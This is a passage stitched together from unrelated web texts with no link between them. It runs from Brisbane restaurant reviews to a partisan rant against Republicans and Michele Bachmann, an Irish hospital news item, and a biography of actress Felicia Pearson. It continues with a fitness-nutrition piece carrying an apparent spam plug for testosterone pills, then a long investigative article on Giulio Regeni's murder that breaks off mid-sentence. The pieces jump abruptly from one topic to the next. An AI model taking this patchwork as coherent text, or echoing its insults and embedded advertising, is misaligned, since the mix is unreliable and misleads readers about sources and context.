and goat's cheese ($12) will keep the taste buds and the scales happy. The bircher muesli and smashed avocado on sourdough are some of the best you'll find. • 11 Florence St Newstead, +61 (0) 7 3852 6734, sourcedgrocer.com.au The Bun Mobile bun mobile Brisbane's first food truck set the bar high. This is fast food with class, offering simple, freshly steamed Chinese-style buns packed with flavoursome fillings. Buns are $8 each ($10 for the daily special), and there are always vegetarian and gluten-free options. Slow-cooked Wagyu beef with soy-pickled shitake mushrooms is a menu staple, as is the char-grilled teriyaki chicken with carrot and mint 'slaw and Japanese mayo. The twice-cooked pork version with hoisin and sakura-pickled cucumber is worth crossing town for – check the location calendar on their website as these buns get around. • +61 (0) 401 420 922, thebunmobile.com.au Taro's Ramen Taro's Ramen, Brisbane The ground floor of an office tower in the Central Business District seems an unlikely spot for what is undoubtedly the city's best ramen, but it's worth battling the lunchtime crush for a bowl of their signature Red Tonkatsu Ramen ($15.90). Made from Bangalow pork bones, the rich stock has been bubbling away for two days by the time it's ladled into your bowl with tender, slow-roasted char siu pork, noodles, nori, seasoned egg and shallots. Naturally, noodles are made on the premises. For a tamer option, the shoyu ramen broth is a balanced blend of vegetable, chicken and seafood – or try "golden triple soup" with aged soy for a delectable umami hit ($13.90). • 363 Adelaide St Brisbane, +61 (0) 7 3832 6358, taros.com.au. Chouquette First-time visitors stare agape at the baskets of traditional baguettes, golden croissants and exquisitely delicate cakes on display in this little New Farm establishment. With a host of French-born and –trained pastry chefs in the kitchen and cafe, all rattling off orders to one another in French, this is the most authentic boulangerie-patisserie experience this side of Paris. Best of all, despite the commitment to traditional slow-fermentation bread-baking methods and quality ingredients, you can eat like a French queen here for surprisingly little. Take your pick from any of the picture-perfect pastries – the chocolate torsade and almond croissant are standouts; add a well-made espresso and expect to hand over a meagre $10 for the pleasure. • 19 Barker St New Farm, +61 (0) 7 3358 6336, chouquette.com.au Tippler's Tap Tippler's Tap, Brisbane This is Brisbane's unofficial craft beer headquarters. A dark, hip little hideaway in Newstead with a staggering array of craft beers and fantastic, Chicago-style bar food. Whether your chosen tipple is a Bacchus Queensland Ale or My Wife's Bitter from Burleigh Brewing Company on the Gold Coast, the bar snacks are a drawcard in themselves. Order a hearty bowl of Grandma Kennedy's chilli with crusty organic sourdough, or share a 1kg serving of Buffalo wings with blue cheese sauce and celery sticks (both $10). Sliders are some of the best around. It's impossible to choose between the classic beef-cheese-onion-mustard combination and the pork belly, caramel star-anise, pickled cucumber and cilantro, so hedge your bets and go with the five for $20 deal. • 22 Masters St Newstead, tipplerstap.com.au. Morag writes for extravirgin.net.au. She also hosts a food tour of Queensland on 612 ABC Evenings (Wednesdays 8.15pm). -Pick virtually any issue facing America today, and you will find a generous collection of Republican lies on the subject. Some are actually well-crafted lies, difficult to disprove, but some are so totally over the edge that a fifth grader could expose them, like this one, so why do they do it? Rep. Michele Bachmann, R-Minn., delivered one of her signature hard-hitting speeches at the Values Voter Summit, a conference for socially conservative activists on Sept. 17, 2010. At one point, Bachmann took a shot at the woman who leads her chamber, House Speaker Nancy Pelosi, D-Calif. Pelosi, Bachmann said, "has been busy sticking the taxpayer with her $100,000 bar tab for alcohol on the military jets that she’s flying." Bachmann was referring to the Air Force jets that Pelosi uses to fly internationally and back to her home in San Francisco. (Her Republican predecessor, Dennis Hastert of Illinois, used them as well, under a program approved under President George W. Bush.) Bachman’s claim drew a rapid counterattack from the Speaker’s office, as aides revived arguments they’d used when the allegation first surfaced months earlier. Among other things, Pelosi’s office noted that the Speaker "does not drink alcohol" and that there "is no alcohol service on the domestic flights the Air Force operates for travel from Washington to San Francisco for the Speaker."… [emphasis added] Inserted from Of course Batshit Bachmann was busted on her lie, as she has been dozens of times before. So why bother? Two paradigms come into play here. First, if Republicans told the truth, nobody would vote for them, except for the richest and most hate filled in our culture. -A medical worker has been suspended from duty after an allegation that she smacked a four-year-old child in front of his mother. A medical worker has been suspended from duty after an allegation that she smacked a four-year-old child in front of his mother. The HSE has confirmed that an investigation is under way into the alleged incident and gardai may become involved. The child's mother claimed the incident happened at Letterkenny General Hospital at the weekend. She has made a statement claiming her child was slapped on the bottom. In a statement to the Irish Independent, a hospital spokeswoman confirmed the parent had made a formal complaint. The medical worker has been suspended while the incident is investigated. "Letterkenny General Hospital is investigating a 'trust in care' incident concerning a child who was attending the hospital, accompanied by its parent," said the spokeswoman. She said the hospital was guided by two policies when dealing with such incidents. RESPONSIBILITY "The 'Children First' policy states that the key principles informing best practice are that the welfare of children is of paramount importance and that all personnel and health professionals, irrespective of the position held within the organisation, have a responsibility towards child protection and welfare," she said. "The 'Trust in Care' policy aims to ensure that any allegations or complaints against a member of staff are thoroughly investigated. "This policy states that 'at an appropriate stage in the process, management should take whatever protective measures are necessary to ensure that no patient/client or staff member is exposed to unacceptable risk. "'These protective measures are not disciplinary measures and may include putting the staff member off duty with pay pending the outcome of the investigation'." In the statement the hospital also said: "In the interests of fairness and to ensure due process, the nature of any investigation is not discussed with third parties not associated with the alleged incident." The spokeswoman added: "When the results of the investigation are known, appropriate action is taken – up to and including disciplinary action and, where appropriate, the reporting of the incident to external authorities." Irish Independent -Felicia Pearson (born May 18, 1980) is an American actress. She played a character of the same name, Felicia "Snoop" Pearson, on The Wire. She wrote a memoir titled Grace After Midnight detailing her troubled childhood and time spent in prison for second-degree murder. Early life [ edit ] Pearson was born in Baltimore, Maryland, the daughter of two incarcerated drug addicts, and was raised in an East Baltimore foster home. Born a premature crack baby and weighing only three pounds, she was not expected to live.[1] She was so small that she was fed with an eyedropper until she could be fed normally.[1] According to her memoir, Grace After Midnight, she met her biological parents very few times; her mother was a crack addict and her father was an armed robber. She thus decided to go by her foster family's surname. She was a tomboy from a young age. Pearson worked as a drug dealer. At the age of 14, she was convicted of second degree murder after the shooting of a girl named Okia Toomer, and was sentenced to two eight-year terms, to be served consecutively, at the Maryland Correctional Institution for Women in Jessup, Maryland.[2] She was released after six and a half years. Pearson said her life turned around at the age of 18 when Arnold Loney, a local drug dealer who looked out for her and sent her money in prison, was shot and killed.[1] He was the one who gave her the nickname Snoop because she reminded him of Charlie Brown's beagle Snoopy in the comic strip Peanuts.[1] While in prison, she earned her GED and was released in 2000.[1] She landed a local job fabricating car bumpers, but was fired after only two weeks when her employer learned she had a prison record. Career [ edit ] Acting & Reality Television [ edit ] Pearson met Michael K. Williams, who played Omar Little on The Wire, in a Baltimore club. He invited her to come to the set one day. He introduced her to the writers and the producers, and after subsequent auditions, she was offered a role in the series.[1] She has appeared in videos of R&B singer Lil' Mo's "Dem Boyz," rapper Rick Ross' "The Boss," "Here I Am," as well as "Cash Flow" by rapper Ace Hood and "Shabba (feat ASAP Rocky)" by A$AP Ferg.[citation needed]. For her performance in The Wire, Stephen King called her "perhaps the most terrifying female villain to ever appear in a television series."[3] In February 2015, Pearson appeared in Da Sweet Blood of Jesus as Lucky Mays.[4] In December 2015, Pearson appeared in Spike Lee's movie Chi-Raq as Dania.[5] In 2016, she played the role of Roxy Barnes in "Good Cop Bad Cop", the 2nd episode of the 7th season of the CBS police procedural drama Blue Bloods.[6] In 2016, Felicia also joined the cast of VH1's Love & Hip Hop: New York, a reality tv series which documents the personal lives, relationships and careers of individuals who have a history in the hip-hop world. Music [ edit ] Pearson was featured in the song "It's A Stick Up" with Tony Yayo and Mazaradi Fox. The music video for the song featured clips from The Wire. She has also discussed her plans for forthcoming musical projects in a number of interviews.[7][8] She has the only speaking part in Snoop Dogg’s "So Many Pros," and appears in three "roles" in the video (a live-action montage of fake movie posters). Philanthropy [ edit ] Pearson has also volunteered as a prison visitor and worked on anti-violence and literary campaigns for youths, and supported The Stay Strong Foundation.[9][10][11] Personal life [ edit ] On March 10, 2011, Pearson was arrested along with 60 others and charged with drug offenses. The arrest was made during a predawn raid at her home in Baltimore following a five-month DEA operation.[12] At the first hearing after her arrest, Judge John Addison Howard denied Pearson bail due to her acting ability: "Well, you can change your appearance, I've seen the episodes of The Wire in which you appear. You look very different than you do here today, and I'm not talking about the jumpsuit, I'm talking about your general appearance."[13] After a month in jail, Pearson was offered bail of $50,000 on April 8, 2011.[14] In August 2011, she pleaded guilty to the charges a day before her trial was to begin.[15] She was sentenced to a suspended seven-year prison term, with credit for time served, and given three years of supervised probation.[16] References [ edit ] Further reading [ edit ] -Fitness is not always just about exercises; it is also about your diet and nutrition. It is only when exercises and nutrition go hand in hand can you hope to become healthy and have a good physique. Even though most trainers know about nutrition they do not know their legal rights and if they are allowed to share the information. While trainers can share knowledge about nutrition in general but what determines if it is legal is the certification of the trainer and if they are competent to give health advice to their clients. Trainers should not cross the line when suggesting nutritional changes for medical conditions; that is the prerogative of the registered dietician and general physicians. As a trainer, you can inform your clients on the importance of adding phytonutrients into their diet and the importance of reducing dairy and relying more on healthy fats; eating more of lean protein. You can also share recipes. Basically, you can give them the bricks to build the foundation of their diet. Where you tread tricky ground is when you suggest diet solutions to treat diseases. You cannot suggest any meal plans because that is beyond the scope of a trainer in most countries; in many countries, there are no clear-cut laws on this aspect of fitness. In the US, the law varies based on the state and its guidelines. Final thoughts Your client looks towards you to give them some guidelines on what to eat and what to avoid and you are well within your rights to suggest the right foods and show them the food pyramid; remember only when their diet corresponds to the exercises can they hope to benefit. Those clients who are into bodybuilding will already be following a dietician’s advice and might even be testosterone pills with a positive avis sur testogen aiding their cause. … -When six senior Italian detectives arrived in Cairo in early February, following the discovery of the brutally battered body of 28-year-old Italian PhD student Giulio Regeni, they faced long odds of solving the mystery of his disappearance and death. Egyptian officials had told reporters that Regeni had probably been hit by a car, but clear signs of torture on his body had raised an alarm in Rome. The Egyptian authorities guaranteed “full cooperation”, but this was quickly revealed to be a hollow promise. The Italians were allowed to question witnesses – but only for a few minutes, after the Egyptian police had finished their own much longer interrogations, and with the Egyptian police still in the room. The Italians requested the video footage from the metro station where Regeni last used his mobile phone, but the Egyptians allowed several days to elapse, by which time the footage from the day of his disappearance had been taped over. They also refused to share the mobile phone records from the area around Regeni’s home, where he disappeared on 25 January, and the site where his body was found nine days later. One of the Egyptian chief investigators in charge of the Regeni case, Major General Khaled Shalaby, who told the press that there were no signs of foul play, is a controversial figure. Convicted of kidnapping and torture over a decade ago, he escaped with a suspended sentence. Who murdered Giulio Regeni? – podcast Read more The Egyptians may well have hoped that the outside world, with no independent information, would have little choice but to accept their unsatisfying explanation for Regeni’s death. But in the digital age, getting away with murder has become more difficult. About 10 days after the recovery of Regeni’s body, Italian prosecutor Sergio Colaiocco and a couple of police officers travelled to Regeni’s hometown of Fiumicello, in north-eastern Italy, to attend his funeral. It would be a rare opportunity to question many key witnesses in the case, gathered in one place. The family had asked guests not to bring cameras, or to carry signs of protest, preferring a simple, sober ceremony. But more than 3,000 mourners attended the service, most of them spilling out of a school gymnasium into the street. The funeral turned the town of less than 5,000 people into a kind of miniature United Nations – a tribute to Regeni’s short but global life. There were friends from the US, where he had studied during high school; from Latin America, a region he knew well; from the UK, where he had done both university and graduate studies; from Germany and Austria, where he had worked; and from Egypt, where he had lived since November 2015, researching the trade union movement for his Cambridge doctorate. “We put people up in the houses of friends according to which languages they had in common,” said Paola Regeni, Giulio’s mother, who works as a teacher. Membership Event: The Long Read live at the Hospital Club Not only did the police have the chance to question witnesses, they received an unexpected bonus. In a gesture of astonishing openness, Giulio Regeni’s grieving friends and relatives handed over their phones and laptops to the Italian police. As members of the Facebook generation, they were used to living transparently, ceding chunks of their privacy as the price for living in a connected world. If it could shed some light on the circumstances of Giulio’s death, they were prepared to share their personal data. Regeni’s parents also gave the police his computer, which they had taken from his Cairo apartment after he disappeared. This, together with the mass of emails and text messages collected from his friends, has allowed Italian prosecutors to work around the holes in the evidence provided by the Egyptian government, and to reconstruct Regeni’s world. The prosecutors also obtained another vital piece of evidence: Regeni’s battered corpse, which, after an extremely thorough autopsy in Italy, has told them volumes about the final nine days of his life, from the time of his disappearance to the time his body was dumped in a concrete channel beside the road from Cairo to Alexandria. Facebook Twitter Pinterest Giulio Regeni. Photograph: Facebook While this evidence will almost certainly not be enough to help Italian investigators identify Regeni’s killers by name, it has allowed them to refute a series of lies from the Egyptian government about Regini’s murder – and keep up pressure on Egypt for hard information about his killing. Italian prosecutors recently made an important breakthrough: the Egyptian government agreed to hand over mobile phone records from both the area where Regeni was last seen, and the place where his body was found. Perhaps even more important, during a visit to Rome in early September, Egyptian prosecutors admitted for the first time that Regeni had been under police surveillance before his disappearance. The Egyptian government continues to deny that it had any involvement in Regeni’s death. Over the past eight months, Italian investigators have peeled away layers of false leads, attempted cover-ups, and phony evidence, to build a clearer picture of what happened to Giulio Regeni than at first seemed possible. “I am going out,” Regeni texted his girlfriend at 7.41pm on 25 January 2016. He was walking from his apartment to the nearby metro, bound for the centre of Cairo. This message is the last trace of him alive. That Regeni disappeared on 25 January is not coincidental. It is, in fact, a crucial clue to understanding his murder That Regeni should have disappeared on 25 January is not coincidental. It is, in fact, a crucial clue to understanding his disappearance and murder. It was the fifth anniversary of the Egyptian revolution of 2011, and the massive demonstrations in Tahrir Square that brought the Arab Spring to Egypt and led to the ousting of President Hosni Mubarak. The date has a totemic significance for the regime of Abdel Fatah al-Sisi, for whom it represents a traumatic climbdown – a moment in which the military’s apparently unassailable grip on power seemed to slip. As a result, the army had been forced to accept the trial of Mubarak and the election of Islamist leader Mohammed Morsi, posing a serious threat to its position in Egyptian life. Such a thing could never be allowed to occur again. When Sisi and the military took control of the government and arrested Morsi in July 2013, Morsi supporters occupied two public squares and staged sit-ins, hoping for a repeat of the peaceful revolution in Tahrir Square. But this time Sisi sent in tanks and soldiers and massacred at least 1,000 people. Although Sisi came to power himself in the wake of mass demonstrations against Morsi, he seems to live in terror of the crowd. One of his first official acts was to ban any unauthorised assembly of more than 10 people. And each anniversary of the Tahrir Square uprising has brought bloodshed. In 2014, Sisi’s government killed more than 60 protesters around the country at the time of the anniversary. A year later, 25 people were killed, including a woman poet who tried to lay a wreath of flowers in the square. In the days before his disappearance, computer records show that Regeni had laid low, mostly staying inside his apartment. He probably knew that the Egyptian authorities were working themselves up to a fever pitch in anticipation of the anniversary. Police had reportedly searched 5,000 apartments in Cairo, in an effort to intimidate anyone who might be planning a demonstration. The raids were mostly concentrated in downtown Cairo, and did not include Regeni’s apartment in the Dokki neighbourhood of Giza, a separate city that includes the site of the ancient pyramids. Although Regeni’s mother had asked him to remain at home, where it was safe, he decided to attend the birthday party of a friend on the evening of 25 January. Downtown Cairo appeared to have returned to normal by nightfall and he and another friend agreed to meet at their usual place, not far from Tahrir Square. And so, Regeni walked into the force field of police activity in central Cairo, at its point of greatest alert. Facebook Twitter Pinterest Tahrir Square is almost deserted and heavily policed on the eve of the fifth anniversary of the 25 January uprising. Photograph: Khaled Elfiqi/EPA On 21 April, Reuters reported that Regeni had been picked up on the night of his disappearance by Egyptian police in downtown Cairo, near the Nasser metro stop. The news agency claimed that he was taken to a local police station for half an hour, then transferred to a Homeland Security compound in the area. The Egyptian government categorically denied the story, insisting that Regeni had never been in police custody. Reuters has stuck by its story, citing six independent but anonymous sources – three in the police and three in the security services. After publishing the report, Reuters’ Cairo bureau chief was threatened with criminal prosecution and left the country. Egyptian police recently detained an Egyptian Reuters reporter for unspecified reasons. In May of this year, the Egyptian Ministry of the Interior accidentally leaked an internal memo proposing a ban on all press coverage of the Regeni case. It is unclear whether Regeni’s arrest was planned, or the result of a random sweep, but once they had him in custody, Egyptian authorities would have been quick to realise that they already had a file on him. “There is no question that he would have been monitored,” said Marie Duboc, a French scholar who now teaches at the University of Tübingen, in Germany. Like Regeni, she has studied Egyptian labour unions. “Even historical research that would seem harmless to any outsider, is still extremely sensitive in Egypt.” Duboc lived under surveillance from 2008 to 2010, when she was in Cairo, working on her own PhD. “I would get strange phone calls from the Ministry of Higher Education, asking about my research,” she told me. Later, when she visited Egypt to do follow-up work, she was turned away at the airport and barred from entering the country. Clearly, her name had been placed on a blacklist. (She has subsequently been allowed to return, she said.) Independent labour unions are a particularly sensitive topic in Egypt under the Sisi government, because unions were seen as a key galvanising force in the 2011 revolution. Traditionally, labour unions were government-run – more a means of controlling workers than representing their interests. The first independent trade union was formed in 2009, but the movement truly took flight after Tahrir Square. A thousand independent labour unions sprouted up after the fall of Mubarak and, within days of the 2011 revolution, the first federation of independent unions was formed. Many democracy advocates in and outside Egypt, including Giulio Regeni and his Cambridge supervisor, the Egyptian political scientist Maha Abdelrahman, regarded the independent trade union movement as a positive development, with the potential to strengthen civil society, democratic participation and workers’ rights – all things that seem threatening to a military regime determined to repress autonomous sources of power. On 11 December, six weeks before he disappeared, Regeni attended a public meeting of the independent unions. He was impressed by their combative energy and wrote an enthusiastic article about it, together with a friend, which they published (in Italian) under a pseudonym. But something disconcerting happened at the meeting: although Regeni sat to the side and was not on the roster of speakers, a woman in a headscarf came over and photographed him. Regeni was shaken and told several friends about it. It was the first sign that he might be being watched. Regeni’s particular area of research was a nascent independent union of street vendors, a large group that was difficult to control and a cause of considerable concern to the government. Egypt has an estimated five million street vendors, who sell everything from snacks and drinks to cheap clothes and kitchen utensils. In a country of 80 to 90 million people, as many as a quarter of Egyptian families depend to some degree on the income of a street vendor. The Sisi government regards these workers with clear suspicion. Street vendors moved rapidly into Tahrir Square during the massive demonstrations of 2011. Most were simply looking to make a little money, selling food and drink to protesters, but their very presence was viewed by the authorities as aiding and abetting the revolution. Since then, the government has sought unsuccessfully to remove street vendors from the centre of Cairo, using fines, prison sentences and violence. “After repeated failures to clear Cairo’s city centre of street vendors … the Cairo governorate issued a shrewd decree,” wrote Abdelrahman, in an article she published last year. The decree required store owners to report any street vendors working near their shops, or risk losing their own trading licenses. This served a dual purpose of forcing shopkeepers to keep tabs on street vendors for the government and pushing the vendors into the hands of the police. In order to remain on the street and avoid police harassment, street vendors were themselves expected to let police know of anything or anyone unusual or suspicious. “One of the things that has happened in Egypt in the past few years, which we didn’t fully recognise, is that the street pedlars are frequently used as police informants,” said one Cambridge scholar, who preferred not to be named. Scattered around the city, present on nearly every block and square, the street vendors form a natural surveillance network. For his doctorate, Regeni was engaged in what is known as “participatory research” – a method that involves spending substantial amounts of time in the field with one’s subjects. While this is standard practice, a young Arabic-speaking foreigner, hanging out for hours in street markets, and asking about unionisation, future organising plans and attitudes toward the government, is likely to have looked extremely suspicious to most Egyptians – who have been told over and over to be on the lookout for foreign agents. Regeni’s good intentions may also have blinded him to how his actions could have been interpreted. During the autumn of 2015, he had learned of a grant of up to £10,000 issued by a British foundation to fund a development project. He was interested in applying because he could use the money to support his own PhD research and help the people he was studying. He mentioned his idea to a leader of the independent street vendors’ union, Mohamed Abdallah. Abdallah’s level of interest – in the money, rather than the project – worried Regeni. As a result, Regeni dropped the idea. Still, news of a young well-funded foreigner, ready to finance an internal Egyptian movement, may have struck police as exactly the kind of foreign conspiracy they wanted to stamp out. Those most familiar with Regeni’s work in Egypt dismiss the idea that he could have discovered anything valuable or threatening to the Egyptian government. “Giulio had been out doing field work, talking to street pedlars, maybe six or seven times,” says one of his close friends in Cairo. “He would have known only a fraction of what any of the Egyptian government’s informants would have been able to tell them.” Even the independent union meeting that he attended and wrote about was a well-publicised event, authorised and monitored by the authorities. Facebook Twitter Pinterest A street vendor near Tahrir Square, in 2013. In recent years, the Egyptian police have recruited some of them as informants. Photograph: Khaled Desouki/AFP/Getty Images While the independent unions were certainly regarded by the Sisi regime with extreme suspicion, the government had already gone a long way to rendering them toothless. One of Sisi’s first moves was to make the chief of the federation of independent unions his minister of labour, an appointment intended to co-opt the movement and bring it under government control. Just this summer, in a further threat to their independence, a new measure was introduced, forcing the independents to re-register or risk decertification. And yet, to a government on constant alert to security threats, there may have been much in the meeting that Regeni attended – and in the article he wrote about it – that the government would have found alarming. One of the proposals was for a “series of regional conferences that lead after a few months to a large national assembly and perhaps a unitary protest (“To Tahrir!” said several of those present.) Regeni’s article ends with a few sentences that look like fighting words. “In the repressive context of the Sisi government, the fact that there are popular and spontaneous initiatives that break the wall of fear is significant and represent in and of themselves an important push for change. “To challenge the state of emergency, the government’s appeals to stability and social harmony in the name of the ‘war on terrorism’, means today, even indirectly, to challenge the very basis on which this regime bases its existence and its repression of civil society.” On 7 January, just a month after the union meeting, Mohamed Abdallah denounced Regeni to the authorities. After Regeni’s death, he told the Arabic-language newspaper Aswat Masriya that he became suspicious of Regeni because his questions “were not about street vendors … and had other intentions … I am not an informant but I believe I am protecting my country.” The Egyptian government says that as a result of Abdallah’s tip-off, it placed Regeni under investigation, but decided after a few days that his research was of “no interest to national security”. During the nine days after his disappearance, Regeni’s case became an international cause celebre, inspiring the Twitter hashtag #whereisgiulio? It was also a source of serious concern at the Italian Embassy in Cairo, which was preparing for the visit of a major business delegation, led by the Italian minister of economic development, Federica Guidi. On 3 February, while Guidi was meeting with Sisi and other Egyptian officials, a mini-van driver got a puncture on the road from Cairo to Alexandria. While fixing his flat tyre, he discovered Giulio Regeni’s body. The Egyptian forensic expert who first examined the corpse initially said that the multiple signs of torture suggested Regeni had suffered a “slow death”. This claim, however, was quickly retracted. The deputy head of criminal investigations in Giza, the city where the body was found, told the Associated Press that initial investigations showed Regeni was killed in a road accident. Meanwhile, the Regeni case had become a huge story in Italy. In the following days, as pressure mounted, Egyptian officials began floating various theories in the local press: that Regeni was gay and the victim of a crime of passion, that he was involved in a drug deal gone bad, or that he was a foreign spy. Upon further investigation, these theories fell apart. The digital record in the possession of Italian investigators showed that Regeni had a girlfriend in Ukraine, and there were Skype logs, emails and texts to prove it. His computer, email and bank records showed no trace of contact with any intelligence services. “We had his bank accounts, which showed he had almost no money,” said Alessandra Ballerini, the lawyer for the Regeni family. “This is a boy who wore his father’s old bathing suit and used his mother’s old backpack because he didn’t want to be a financial burden to his family.” Most important was the rigorous second autopsy carried out in Italy, using Cat scans and tissue analysis. The Egyptian pathologist’s report had said that Regeni was killed by a blow to the head. More detailed analysis in Italy showed that he had been hit repeatedly on the head, but that these blows were not fatal. Blood had coagulated around the points where he had been hit, and other cuts, bruises and abrasions on his body showed different stages of healing. This indicated that Regeni had been tortured more than once – and that days had passed between his initial torture, later sessions, and the moment of his death. He was covered with cuts and burns, and his hands and feet had been broken. Even his teeth were broken. His torturers appear to have carved letters into his flesh, a well-documented practice of the Egyptian police. The forensic doctors at the University of Rome used a highly accurate technique for determining time of death, which measures potassium levels in the vitreous fluid of the eyes. They established that Regeni died between 10pm on 1 February and 10pm on 2 February. “This is important because it means that he was alive for at least six or seven days and tortured repeatedly during that time,” said one Italian investigator. The cause of death was a broken neck. Regeni’s mother believes that this was the work of professional torturers. Facebook Twitter Pinterest Giulio Regeni’s mother, Paola, believes he was murdered by professional torturers. Photograph: Remo Casilli/Reuters The strength of the autopsy evidence forced the Egyptian authorities to abandon the implausible theories of accidental death and begin a new public relations offensive. Sisi suddenly granted an interview to the editor-in-chief of the Rome newspaper La Repubblica, which was published on 16 March and dominated by the Regeni case. As the autopsy evidence implicated the Egyptian police, Sisi seemed to suggest that Regeni’s death was part of an elaborate conspiracy. “Why was the body found right when the minister of economic development and the Italian delegation were here to strengthen our cooperation?” he asked. Sisi also mentioned the shooting down of a Russian tourist airliner in October 2015. “Russian tourism and Italian tourism [in Egypt] have collapsed to nothing … Fill in the dots of these different episodes and you have a clear picture of an attempt to strike the Egyptian economy and isolate Egypt.” Just days later, in early March, a witness stepped forward with a new hypothesis. An Egyptian engineer claimed that he had seen Regeni, on the afternoon before his disappearance, having a furious argument with another foreigner near the Italian consulate. The engineer, Mohammed Fawzy, then appeared on a popular Egyptian TV programme to say that he thought that the Italian government knew who killed Regeni, but was hiding the evidence. Echoing Sisi, Fawzy speculated that whoever killed Regeni was trying to sabotage commercial relations between Egypt and Italy. Relatives of the alleged criminal gang have insisted that its members were killed in cold blood at close range The engineer’s story collapsed when the Italian prosecutors’ digital archive showed that Regeni had been at home all afternoon on 24 January. He had been on Skype with his girlfriend, chatting as they streamed the same movie and watched it together, 3,500km apart. Mobile phone records also showed that the engineer was not in the neighbourhood of the Italian consulate in Cairo at the time of the alleged quarrel. And then, suddenly, on 24 March, the Egyptian Ministry of the Interior announced a definitive resolution to the case. The ministry announced on its Facebook page that the perpetrators were a gang of four men “specialised in impersonating policemen, kidnapping foreigners and stealing their money”. As proof, the government displayed a tray of objects that included Regeni’s passport, Italian identity card, a credit card and his ID card from Cambridge University. Not only had the Egyptian police found the culprits, they had already killed them. “In an exchange of fire between police forces and the men,” the ministry explained, “all the gang members were killed.” However, phone records placed the leader of the gang more than 100km away from Cairo at the time of Regeni’s disappearance. Relatives of the alleged criminal gang have insisted that its members were killed in cold blood at close range, rather than in a shootout. The government’s scenario also made little sense: why would a band of thieves keep Regeni’s identity cards, given that they would provide incriminating evidence that tied them to the crime? Why would they torture a robbery victim for a week without ever asking for ransom money or using his credit card? Egyptian officials have now accepted that it is unlikely the dead men had anything to do with Regeni’s death. In fact, by producing Regeni’s passport and identity cards, the Egyptian police have apparently incriminated themselves. The string of improbable cover stories was becoming an embarrassment even in Egypt. In a rare public rebuke, Mohammed Abdel-Hadi Allam, the editor-in-chief of al-Ahram, a government-owned newspaper, wrote: “The naive stories about Regeni’s death have hurt Egypt at home and abroad and offered some people grounds to judge what is going on in the country now to be no different from what went on before the 25 January revolution.” He compared the Regeni case to that of Khaled Said, a young Egyptian who had been seized by police in an internet cafe in 2010, and beaten to death. Photographs of Said’s body taken by his brother were posted on Facebook and became an important rallying cry for the protesters who helped bring down Hosni Mubarak. Despite clear indications of involvement by the nation’s security forces, the Egyptian government is left with what might be called the stupidity defence. As the Egyptian ambassador to Rome put it: “We’re not so naive as to kill a young Italian and throw away his body the day of Minister Guidi’s visit to Cairo.” “There are two theories,” said Karim Abdelrady, an Egyptian human rights lawyer. “One is that there is a feud between the Egyptian secret services, and one branch dumped the body in order to embarrass the other.” A long, detailed anonymous letter that was sent to the Italian embassy in Bern, Switzerland and published by La Repubblica described complicated machinations within different branches of the Egyptian secret services, and reported that Regeni’s body had been wrapped in an Egyptian army blanket, as if to direct suspicion towards the military police. But Italian investigators say that they have no way to confirm or deny the information in this document. “The other theory,” explained Abdelrady, “is that the Egyptian police thought they could get away with it by blaming a band of criminals, and that people would not think the Egyptian police would be so stupid as to leave the body where it could be found.” “This case cannot be understood without understanding the context of generalised paranoia in the country,” said one foreign scholar who has lived in Cairo for many years. “For the last three years, many high-level government officials, including members of the military, have spoken publicly about foreign conspiracies to undermine Egypt. This is bound to seep down to all levels of the police and military.” The Egyptian government put Giulio Regeni’s possessions on display in an attempt to prove they had found his killers. Photograph: Uncredited/AP Almost immediately after taking over during the summer of 2013, the Sisi regime seemed anxious to stress that the 2011 revolution was not the result of popular dissatisfaction, but collusion between outside powers and Egyptian subversives. Since then, the human rights situation in Egypt – which was never good under Mubarak – has continued to deteriorate. There are now an estimated 40,000 political prisoners. Between late January and November 2015, Egypt’s Al Nadeem Center for the Rehabilitation of Victims of Violence documented 281 extrajudicial killings, 119 murders of prisoners in detention, 440 cases of torture in police stations, and 335 forced disappearances. After documenting these cases, the Nadeem Center was forced to shut down, allegedly for violating its charter as a medical organisation. While in the past, Egypt had tried to avoid trouble with foreigners, it now seemed intent on making public examples of them. “Giulio died like an Egyptian,” says Ballerini, the Regeni family’s lawyer. The climate of xenophobia and police brutality in Egypt has raised questions for Italian prosecutors as to whether it was appropriate for Cambridge University to allow a young foreign student to go Cairo and undertake field research into such a delicate topic. Regeni’s supervisor, Maha Abdelrahman, is very knowledgeable on this subject: she has been a vocal critic of Egypt’s military governments and has written extensively about the country’s unions and protest movements. In early 2015, she wrote about the tendency of turning ordinary citizens into police informants and the increasing criminalisation of previously harmless activities. Relations between the Italian investigators and Cambridge University got off to a bad start when Abdelrahman declined to hand over her emails and text messages after the funeral. She also kept the police waiting for three hours, turning up for her interview at the police station at 10pm. Abdelrahman’s reluctance to hand over her personal data is understandable, given her background – she had grown up in Egypt under a military regime, when a person would never have given anything to the police if they could help it. Abdelrahman has chosen not to speak to the press since Regeni’s death, but told colleagues at Cambridge that she cooperated with the Italian police the day of the funeral. The Italian prosecutors have been keen to find out whose idea it was that Regeni should write his PhD dissertation on independent unions, and the street vendors’ union especially. When detectives asked her whether she had pushed Regeni to pursue his research into that particular topic, or if she had been aware that he might have felt in danger, Abdelrahman felt that she was being treated like a suspect. The lead prosecutor, Sergio Colaiocco, travelled to England in June, having sent a request to two Cambridge professors for an interview. The university says it received no notification from the Italian government, but learned of the request informally from Cambridge police. The two professors initially agreed to meet with the prosecutor, but then declined to be interviewed. This prompted a brief firestorm, with the Italian deputy foreign minister, Mario Giro, taking to Twitter to shame Cambridge for its lack of cooperation. An Italian professor who teaches at Oxford, Federico Varese, also criticised Cambridge in an interview with La Repubblica: “The university bears some measure of moral responsibility for not protecting [Regeni] and not grasping that the kind of ‘participatory research’ he was doing increased the risk. It seems that their priority is only to protect Cambridge from possible legal responsibility and a request for damages.” In June, Cambridge’s vice-chancellor and a number of academics signed a letter stating that the university had not received any request for help from the Italian authorities, and that Regeni had no particular reason to be afraid for his safety, since “no foreign student, researcher or academic” had ever been murdered in Egypt. The university subsequently hired an Italian attorney to facilitate relations with the Italian government and has received, and fully complied with, a request for various documents in the Regeni case. “I think this polemic with Cambridge has been overblown,” said one close friend of Regeni’s in Egypt. He pointed out that Abdelrahman had continued to do the same kind of field research that Regeni was pursuing. “She was not a professor who remained in the library and sent out her students to do field work. The truth about Giulio’s murder is in Egypt, not Cambridge, in the increasing paranoia of the regime.” In December, 2015, he said, Egyptian police detained a young French scholar who was conducting research on a workers’ movement, keeping her in jail overnight. “These kinds of things had been happening more often – but they go unreported because the scholars don’t say anything, so that they can return to Egypt in the future.” The Egyptian government’s softer and more cooperative approach in the last few months suggests, however, that it now accepts an urgent need for reputation management. The government and the Regeni family have agreed, in principle, to meet, which the family hopes will push the investigation another few steps closer to the truth. Regeni’s death is a mystery 